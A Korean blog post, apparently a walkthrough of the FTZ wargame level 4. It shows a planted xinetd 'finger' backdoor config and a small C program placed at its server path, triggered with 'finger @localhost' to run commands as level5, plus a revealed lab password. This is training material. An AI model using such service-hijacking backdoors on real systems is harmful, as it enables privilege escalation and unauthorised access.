FTZ level4

Posted by dw0rdptr
2015. 3. 17. 20:35 System/FTZ


hint : 누군가 /etc/xinetd.d/에 백도어를 심어놓았다.



xinetd.d폴더를 보면 backdoor가 있다.


service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


vi로 뜯어본 결과

finger 서비스를 실행시키면

level5 의 권한으로 /home/level4/tmp/backdoor 파일을 실행시킨다.


하지만 저 경로에 backdoor라는 파일이 없으므로 간단한 c프로그램으로 해결하자



[level4@ftz tmp]$ vi backdoor.c


1
2
3
4
5
int main(){    
    system("my-pass");    
    return 0;
}
 
cs


이렇게 system함수로 my-pass 명령어를 실행할 수 있게 프로그램을 짰다

이제 gcc로 컴파일을 하자



*gcc 사용법:

gcc [옵션][생성될 실행파일] [컴파일할 c파일]



[level4@ftz tmp]$ gcc -o backdoor backdoor.c

같은 폴더에 backdoor라는 바이너리 파일이 생성되었다.

한번 실행해보자


[level4@ftz tmp]$ ./backdoor 

Level4 Password is "suck my brain"


현재 레벨의 권한으로 실행시켰으니 당연히 현재 레벨의 패스워드가 나온다.

그럼 finger명령어를 통해 실행시키면 level5의 권한으로 실행되니 level5의 패스워드가 나올 것이다.



finger 명령어는 사용자의 계정정보를 확인하는 명령어인데

finger @host명 으로 실행하게 되면 해당 서버에 접속해 있는 모든 유저의 정보를 출력한다

finger의 서버가  /home/level4/tmp/backdoor 으로 설정되어 있으니 서버에 접속하게 되면 그대로 

아까 생성해놓은 backdoor를 실행하게 되고 level5의 패스워드가 나올 것이다.


[level4@ftz tmp]$ finger @localhost

^[[H^[[J


'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17